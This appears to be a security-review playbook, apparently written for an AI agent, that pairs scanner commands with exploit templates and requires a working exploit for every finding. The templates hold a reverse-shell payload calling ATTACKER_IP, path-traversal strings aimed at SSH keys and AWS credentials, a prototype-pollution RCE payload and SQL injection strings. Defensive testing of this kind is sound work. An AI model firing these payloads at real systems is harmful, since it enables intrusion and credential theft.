Security Review & Exploit Development

Overview

Systematic security review using automated tools AND manual analysis, with working proof-of-concept exploits for every finding. No vulnerability is confirmed until exploited.

The Iron Law

NO FINDING WITHOUT A WORKING EXPLOIT

Suspecting a vulnerability is worthless. You must prove exploitation.

Workflow

digraph security_review {
    "Start review" [shape=doublecircle];
    "Run automated scanners" [shape=box];
    "Manual code review" [shape=box];
    "Vulnerability found?" [shape=diamond];
    "Write exploit PoC" [shape=box];
    "Exploit works?" [shape=diamond];
    "Document with severity" [shape=box];
    "Mark as false positive" [shape=box];
    "More to review?" [shape=diamond];
    "Generate report" [shape=doublecircle];

    "Start review" -> "Run automated scanners";
    "Run automated scanners" -> "Manual code review";
    "Manual code review" -> "Vulnerability found?";
    "Vulnerability found?" -> "Write exploit PoC" [label="yes"];
    "Vulnerability found?" -> "More to review?" [label="no"];
    "Write exploit PoC" -> "Exploit works?";
    "Exploit works?" -> "Document with severity" [label="yes"];
    "Exploit works?" -> "Mark as false positive" [label="no"];
    "Document with severity" -> "More to review?";
    "Mark as false positive" -> "More to review?";
    "More to review?" -> "Vulnerability found?" [label="yes"];
    "More to review?" -> "Generate report" [label="no"];
}

Phase 1: Automated Scanning

Run ALL applicable tools. Don't skip tools because "manual review is enough."

Static Analysis (SAST)

# Opengrep - Multi-language SAST (preferred over semgrep)
opengrep scan --config=auto --config=p/security-audit --config=p/owasp-top-ten .

# Bandit - Python security linter
bandit -r . -f json -o bandit-report.json

# ast-grep - Custom pattern matching (write rules for project-specific issues)
ast-grep scan --rule security-rules/

# ESLint security plugin (JS/TS)
npx eslint --plugin security --rule 'security/detect-child-process: error' .

# Gosec - Go security checker
gosec -fmt=json -out=gosec-report.json ./...

Dependency Scanning (SCA)

# Trivy - Comprehensive vulnerability scanner
trivy fs --scanners vuln,secret,misconfig .

# Grype - Fast vulnerability scanner
grype dir:. -o json > grype-report.json

# pip-audit - Python dependencies
pip-audit --format=json -o pip-audit.json

# npm audit - Node.js dependencies
npm audit --json > npm-audit.json

# govulncheck - Go dependencies
govulncheck ./...

Secret Detection

# Gitleaks - Find secrets in git history
gitleaks detect --source . --report-path gitleaks-report.json

# Trufflehog - Deep secret scanning
trufflehog filesystem . --json > trufflehog-report.json

Container/Infrastructure

# Trivy for containers
trivy image --severity HIGH,CRITICAL <image-name>

# Checkov for IaC
checkov -d . --framework terraform,kubernetes,dockerfile

Phase 2: Manual Code Review

Focus on these vulnerability categories in order of severity:

Critical: Injection Vulnerabilities

Type	Pattern to Find	Grep Command
Command Injection	exec, spawn, system, eval	grep -rn "exec|spawn|system|eval|Function(" --include="*.ts" --include="*.js"
SQL Injection	String concatenation in queries	grep -rn "query.*\+" --include="*.ts"
Path Traversal	readFile, resolve without validation	grep -rn "readFileSync|readFile|resolve" --include="*.ts"
Template Injection	User input in templates	grep -rn "render|template" --include="*.ts"

High: Authentication/Authorization

Type	Pattern to Find
Missing auth checks	Routes without middleware
Hardcoded credentials	password, secret, key in code
Weak crypto	md5, sha1, Math.random

Medium: Data Exposure

Type	Pattern to Find
Sensitive data in logs	console.log, logger with user data
Error message leakage	Full stack traces returned to client
Insecure storage	Credentials in config files

Phase 3: Exploit Development

Every vulnerability MUST have a working exploit.

Command Injection Exploit Template

// exploit-cmd-injection.ts
import { execSync } from 'child_process'

const VULNERABLE_ENDPOINT = 'http://localhost:3000/api/diff'

// Test payloads - escalate from detection to impact
const payloads = [
  // Detection: Does injection work?
  { input: '$(echo VULNERABLE)', detect: 'VULNERABLE' },

  // Information gathering
  { input: '$(whoami)', detect: /\w+/ },
  { input: '$(id)', detect: /uid=/ },

  // File read
  { input: '$(cat /etc/passwd)', detect: 'root:' },

  // Reverse shell (for authorized pentests only)
  { input: '$(bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)', detect: null },
]

async function exploit() {
  for (const { input, detect } of payloads) {
    const response = await fetch(VULNERABLE_ENDPOINT, {
      method: 'POST',
      body: JSON.stringify({ files: [input] }),
    })
    const result = await response.text()

    if (detect && result.match(detect)) {
      console.log(`[+] Payload worked: ${input}`)
      console.log(`[+] Output: ${result}`)
    }
  }
}

Path Traversal Exploit Template

// exploit-path-traversal.ts
const traversalPayloads = [
  '../../../etc/passwd',
  '....//....//....//etc/passwd',
  '/etc/passwd',
  '/proc/self/environ',  // Leaks environment variables
  '/home/user/.ssh/id_rsa',
  '/home/user/.aws/credentials',
]

async function exploitPathTraversal(endpoint: string) {
  for (const payload of traversalPayloads) {
    const response = await fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({ files: [payload] }),
    })
    const result = await response.text()

    if (result.includes('root:') || result.includes('AWS_')) {
      console.log(`[+] Path traversal successful: ${payload}`)
      return result
    }
  }
}

Dependency Exploit Template

// exploit-dependency.ts
// When a vulnerable dependency is found, search for:
// 1. Public exploits: searchsploit, exploit-db, GitHub
// 2. CVE details for exploitation steps

// Example: Exploiting known prototype pollution
const payload = {
  "__proto__": { "admin": true }
}

// Example: Exploiting known RCE in library
const rcePayload = {
  "constructor": {
    "prototype": {
      "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"
    }
  }
}

SQL Injection Exploit Template

// exploit-sqli.ts
const sqlPayloads = [
  // Detection
  "' OR '1'='1",
  "1; SELECT 1--",

  // Union-based extraction
  "' UNION SELECT username,password FROM users--",

  // Time-based blind
  "'; WAITFOR DELAY '0:0:5'--",
  "' AND SLEEP(5)--",

  // Error-based extraction
  "' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--",
]

Phase 4: Severity Classification

Severity	Criteria	Examples
Critical	RCE, full system compromise, auth bypass	Command injection, SQL injection with admin access
High	Significant data breach, privilege escalation	Path traversal to sensitive files, IDOR
Medium	Limited data exposure, DoS	Error message leakage, resource exhaustion
Low	Minor information disclosure	Version disclosure, missing headers

Report Template

## Finding: [Vulnerability Name]

**Severity:** Critical/High/Medium/Low
**Location:** `file.ts:42`
**CWE:** CWE-XXX

### Description
[What is the vulnerability and why it's dangerous]

### Vulnerable Code
```typescript
// The vulnerable code snippet

Proof of Concept

# Command to exploit
curl -X POST http://target/api -d '{"payload": "$(id)"}'

Result:

uid=1000(user) gid=1000(user) groups=1000(user)

Impact

• What an attacker can achieve
• Data at risk
• Business impact

Remediation

// Fixed code

References

• CVE-XXXX-XXXXX
• OWASP reference

## Tool Installation

```bash
# Install all security tools
pip install opengrep bandit pip-audit
npm install -g eslint eslint-plugin-security
go install github.com/securego/gosec/v2/cmd/gosec@latest
go install golang.org/x/vuln/cmd/govulncheck@latest

# Trivy
brew install trivy  # macOS
# or: curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh

# Grype
brew install grype  # macOS
# or: curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh

# Gitleaks
brew install gitleaks  # macOS
# or: go install github.com/gitleaks/gitleaks/v8@latest

# ast-grep
npm install -g @ast-grep/cli

Red Flags - STOP

If you find yourself thinking:

• "This looks suspicious but I'll note it without testing" - STOP. Write exploit first.
• "Manual review is enough, tools are overkill" - STOP. Run the tools.
• "The exploit is obvious, I don't need to verify" - STOP. Execute and prove it.
• "I'll skip dependency scanning, code review covers it" - STOP. Run SCA tools.

Quick Reference

Tool	Purpose	Command
opengrep	SAST multi-language	opengrep scan --config=auto .
bandit	Python SAST	bandit -r .
trivy	Vuln + secrets	trivy fs .
grype	Dependency vulns	grype dir:.
gitleaks	Secret detection	gitleaks detect --source .
govulncheck	Go dependencies	govulncheck ./...
pip-audit	Python deps	pip-audit
npm audit	Node deps	npm audit
ast-grep	Custom patterns	ast-grep scan